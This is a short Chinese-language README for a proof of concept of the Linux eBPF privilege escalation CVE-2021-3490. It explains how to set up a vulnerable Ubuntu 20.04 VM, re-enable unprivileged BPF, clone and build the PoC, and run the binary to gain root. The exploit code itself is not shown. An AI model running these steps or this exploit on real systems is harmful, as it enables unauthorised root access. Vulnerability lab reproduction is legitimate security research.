致谢 https://github.com/chompie1337
从Ubuntu版本页面下载 ubuntu-20.04.6-live-server-amd64.iso 并安装到虚拟机中。
wget https://releases.ubuntu.com/20.04/ubuntu-20.04.6-live-server-amd64.iso
安装ISO后,将Ubuntu服务器完整安装到虚拟机中,并运行以下命令。
sudo apt update
sudo apt install linux-image-5.8.0-50-generic linux-headers-5.8.0-50-generic linux-modules-5.8.0-50-generic linux-modules-extra-5.8.0-50-generic build-essential git libelf-dev
sudo nano /etc/default/grub
# 移除隐藏行并将grub_timeout设置为15
重启到新安装的内核,并运行以下命令:
echo "kernel.unprivileged_bpf_disabled=0" | sudo tee -a /etc/sysctl.conf
sudo sysctl -p
然后将此仓库克隆到虚拟机中。
git clone https://github.com/prabeershakya/CVE-2021-3490-POC.git
现在切换到POC目录并运行以下命令:
make groovy
最后运行以下命令以获得root权限!!
chmod +x ./bin/exploit.bin
./bin/exploit.bin